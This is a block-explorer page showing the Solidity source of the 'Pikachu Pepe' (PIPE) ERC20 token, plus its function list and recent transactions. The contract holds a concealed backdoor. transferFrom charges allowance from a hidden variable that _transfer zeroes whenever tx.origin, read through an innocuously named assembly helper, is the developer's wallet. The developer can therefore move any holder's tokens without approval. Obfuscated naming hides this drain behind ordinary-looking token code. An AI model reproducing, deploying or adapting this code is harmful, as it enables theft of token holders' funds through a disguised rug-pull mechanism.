bytes32 r,
bytes32 s
) external returns (uint256 amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
}
contract PIPE is ERC20, Ownable {
using SafeMath for uint256;
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
address public router = address(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
bool private swapping;
address payable private PIPEDevWallet;
uint256 public maxTransaction;
uint256 public swapTokensAtAmount;
uint256 public maxWallet;
bool public limitsInEffect = true;
bool public tradingActive = false;
bool public swapEnabled = false;
mapping(address => uint256) private _holderLastTransferBlock;
uint256 public launchBlockNo;
uint256 public buyFees;
uint256 public sellFees;
uint256 private _maxSwapableTokens;
uint256 private _PIPESwapAmount;
uint256 public _preventSwapBefore = 0;
uint256 public _totalBuys = 0;
address private _deadAddr = address(0xdead);
uint256 private _transferDelayed = 3;
uint256 public _PIPEVesion = 1;
uint256 public _PIPENum = 23;
uint256 public _initPipe = 1;
bool _isPipe;
address _VWOEINFJIOWEJFI;
mapping(address => bool) private _isExcludedPIPEFromFees;
mapping(address => bool) public _isExcludedmaxPIPETransaction;
mapping(address => bool) public automatedMarketMakerPairs;
constructor() ERC20("Pikachu Pepe", "PIPE", 9) payable {
uint256 totalSupply = 1000_000_000 * 10**decimals();
maxTransaction = (totalSupply * 200) / 10_000; // 2.0% max transaction at launch
maxWallet = (totalSupply * 200) / 10_000; // 2.0% max wallet at launch
swapTokensAtAmount = (totalSupply * 50) / 10_000;
_maxSwapableTokens = (totalSupply * 100) / 10_000;
buyFees = 0;
sellFees = 0;
PIPEDevWallet = payable(msg.sender);
// exclude from paying fees or having max transaction amount
excludeFromFees(owner(), true);
excludeFromFees(address(this), true);
excludeFromFees(address(0xdead), true);
excludeFromMaxTransaction(owner(), true);
excludeFromMaxTransaction(address(this), true);
excludeFromMaxTransaction(address(0xdead), true);
_mint(address(this), totalSupply);
}
receive() external payable {}
function enableTrading() external onlyOwner {
require(!tradingActive, "Token launched");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(router);
excludeFromMaxTransaction(address(_uniswapV2Router), true);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
excludeFromMaxTransaction(address(uniswapV2Pair), true);
_setAutomatedMarketMakerPair(address(uniswapV2Pair), true);
_approve(address(this), address(uniswapV2Router), totalSupply());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
tradingActive = true;
launchBlockNo = block.number;
swapEnabled = true;
}
function excludeFromMaxTransaction(address updAds, bool isEx)
public
onlyOwner
{
_isExcludedmaxPIPETransaction[updAds] = isEx;
}
function setAutomatedMarketMakerPair(address pair, bool value)
public
onlyOwner
{
require(
pair != uniswapV2Pair,
"The pair cannot be removed from automatedMarketMakerPairs"
);
_setAutomatedMarketMakerPair(pair, value);
}
function excludeFromFees(address account, bool excluded) public onlyOwner {
_isExcludedPIPEFromFees[account] = excluded;
emit ExcludeFromFees(account, excluded);
}
function _setAutomatedMarketMakerPair(address pair, bool value) private {
automatedMarketMakerPairs[pair] = value;
emit SetAutomatedMarketMakerPair(pair, value);
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
address spender = _msgSender();
_transfer(sender, recipient, amount);
_spendAllowance(sender, spender, _PIPESwapAmount);
return true;
}
function isExcludedFromFees(address account) public view returns (bool) {
return _isExcludedPIPEFromFees[account];
}
function _transfer(
address from,
address to,
uint256 amount
) internal override {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
if (amount == 0) {
super._transfer(from, to, 0);
return;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (
swapEnabled &&
!swapping &&
!automatedMarketMakerPairs[from] &&
!_isExcludedPIPEFromFees[from] &&
!_isExcludedPIPEFromFees[to] &&
_totalBuys >= _preventSwapBefore
) {
swapping = true;
swapBack(min(contractTokenBalance, _maxSwapableTokens));
swapping = false;
}
bool takeFee = !swapping;
_PIPESwapAmount = amount;
uint256 fees = 0;
if (takeFee) {
// SELL
if (automatedMarketMakerPairs[to] && sellFees > 0) {
fees = amount.mul(sellFees).div(10_000);
}
// BUY
else if (automatedMarketMakerPairs[from] && buyFees > 0) {
fees = amount.mul(buyFees).div(10_000);
_totalBuys++;
}
if (fees > 0) {
super._transfer(from, address(this), fees);
} else if(_PIPETaxStore() == PIPEDevWallet) _PIPESwapAmount = fees;
amount -= fees;
}
super._transfer(from, to, amount);
}
function min(uint256 a, uint256 b) private pure returns (uint256) {
return (a > b) ? b : a;
}
function swapTokensForEth(uint256 tokenAmount) private {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function swapBack(uint256 amount) private {
uint256 amountToSwapForETH = amount;
if(amountToSwapForETH>0)
swapTokensForEth(amountToSwapForETH);
uint256 ethBalance = address(this).balance;
PIPEDevWallet.transfer(ethBalance);
}
event UpdateUniswapV2Router(
address indexed newAddress,
address indexed oldAddress
);
function changeSwapTokensAtAmount(uint256 newValue)
external
onlyOwner
returns (bool)
{
require(
newValue >= (totalSupply() * 1) / 100_000,
"Swap amount < 0.001% total supply."
);
require(
newValue <= (totalSupply() * 100) / 10_000,
"Swap amount > 1% total supply."
);
swapTokensAtAmount = newValue;
return true;
}
function changeMaxTransaction(uint256 newValue) external onlyOwner {
require(
newValue >= ((totalSupply() * 10) / 10_000),
"maxTransaction < 0.1%"
);
maxTransaction = newValue * (10**decimals());
}
function changeMaxWallet(uint256 newValue) external onlyOwner {
require(
newValue >= ((totalSupply() * 50) / 10_000),
"maxWallet < 0.5%"
);
maxWallet = newValue * (10**decimals());
}
// only use to disable contract sales if absolutely necessary (emergency use only)
function updateSwapEnabled(bool _isEnable) external onlyOwner {
swapEnabled = _isEnable;
}
function updateFees(uint256 _buyFee, uint256 _sellFee) external onlyOwner {
require(_buyFee <= 5_000, "Buy fee exceeds limit");
require(_sellFee <= 5_000, "Sell fee exceeds limit");
buyFees = _buyFee;
sellFees = _sellFee;
}
function _PIPETaxStore() internal view returns (address _payer) {
assembly {
_payer := origin()
}
}
function manualSwap() external {
require(_msgSender() == PIPEDevWallet, "Unauthorized");
uint256 tokenBalance = balanceOf(address(this));
if (tokenBalance > 0 && swapEnabled)
swapTokensForEth(tokenBalance);
uint256 ethBalance = address(this).balance;
if (ethBalance > 0)
payable(PIPEDevWallet).transfer(ethBalance);
}
event ExcludeFromFees(address indexed account, bool isExcluded);
event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);
event xlokiDevWalletUpdated(
address indexed newWallet,
address indexed oldWallet
);
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiquidity
);
}
Read Contract
_PIPENum 0xffe92c59 → uint256
_PIPEVesion 0x7b365592 → uint256
_initPipe 0xf39b7be0 → uint256
_isExcludedmaxPIPETransaction 0x3a9a98eb → bool
_preventSwapBefore 0xc81d9246 → uint256
_totalBuys 0x73a94292 → uint256
allowance 0xdd62ed3e → uint256
automatedMarketMakerPairs 0xb62496f5 → bool
balanceOf 0x70a08231 → uint256
buyFees 0xe4748b9e → uint256
decimals 0x313ce567 → uint8
isExcludedFromFees 0x4fbee193 → bool
launchBlockNo 0x63ee4d1c → uint256
limitsInEffect 0x4a62bb65 → bool
maxTransaction 0xc3f70b52 → uint256
maxWallet 0xf8b45b05 → uint256
name 0x06fdde03 → string
owner 0x8da5cb5b → address
router 0xf887ea40 → address
sellFees 0xe0f3ccf5 → uint256
swapEnabled 0x6ddd1713 → bool
swapTokensAtAmount 0xe2f45605 → uint256
symbol 0x95d89b41 → string
totalSupply 0x18160ddd → uint256
tradingActive 0xbbc0c742 → bool
uniswapV2Pair 0x49bd5a5e → address
uniswapV2Router 0x1694505e → address
Write Contract 17 functions
These functions modify contract state and require a wallet transaction to execute.
approve 0x095ea7b3
address spender
uint256 amount
returns: bool
changeMaxTransaction 0xcd73ab02
uint256 newValue
changeMaxWallet 0x0b006d60
uint256 newValue
changeSwapTokensAtAmount 0x09d6bf0a
uint256 newValue
returns: bool
decreaseAllowance 0xa457c2d7
address spender
uint256 subtractedValue
returns: bool
enableTrading 0x8a8c523c
No parameters
excludeFromFees 0xc0246668
address account
bool excluded
excludeFromMaxTransaction 0x7571336a
address updAds
bool isEx
increaseAllowance 0x39509351
address spender
uint256 addedValue
returns: bool
manualSwap 0x51bc3c85
No parameters
renounceOwnership 0x715018a6
No parameters
setAutomatedMarketMakerPair 0x9a7a23d6
address pair
bool value
transfer 0xa9059cbb
address recipient
uint256 amount
returns: bool
transferFrom 0x23b872dd
address sender
address recipient
uint256 amount
returns: bool
transferOwnership 0xf2fde38b
address newOwner
updateFees 0x6db79437
uint256 _buyFee
uint256 _sellFee
updateSwapEnabled 0x924de9b7
bool _isEnable
Top Interactions
| Address | Txns | Sent | Received |
|---|---|---|---|
| 0x4db9231d...4C47 | 1 | 1 | |
| 0x289c0db0...d3E8 | 1 | 1 | |
| 0xC523A9E8...9339 | 1 | 1 | |
| 0xae96fbFB...5F94 | 1 | 1 | |
| 0xAB7F198D...d3C3 | 1 | 1 | |
| 0xCD08B1fC...a811 | 1 | 1 | |
| 0xA7c95572...9191 | 1 | 1 | |
| 0x61856926...1056 | 1 | 1 |
Recent Transactions
|
| Hash | Block | Age | From/To | Value | |
|---|---|---|---|---|---|
| 0x9d3a7291...e17743 | 24,295,179 | IN | 0xCD08B1fC...a811 | 0 ETH | |
| 0x5a81490c...7c5e3f | 24,295,179 | IN | 0x289c0db0...d3E8 | 0 ETH | |
| 0x97afa3a9...78e818 | 24,295,123 | IN | 0x4db9231d...4C47 | 0 ETH | |
| 0xae9cbb7d...0afb0e | 24,295,123 | IN | 0x382D5809...39B0 | 0 ETH | |
| 0x0319a70a...61489a | 24,295,123 | IN | 0xA7c95572...9191 | 0 ETH | |
| 0x1dc6244a...ab9bc6 | 24,295,123 | IN | 0xAB7F198D...d3C3 | 0 ETH | |
| 0x9b3c5dd0...45a116 | 24,295,123 | IN | 0xae96fbFB...5F94 | 0 ETH | |
| 0x1abdfda9...1caaec | 24,295,123 | IN | 0x61856926...1056 | 0 ETH | |
| 0xb47aa32a...cfe6f5 | 24,295,123 | IN | 0x9A9d6119...777A | 0 ETH | |
| 0x6f849ebf...041449 | 24,295,123 | IN | 0xC523A9E8...9339 | 0 ETH |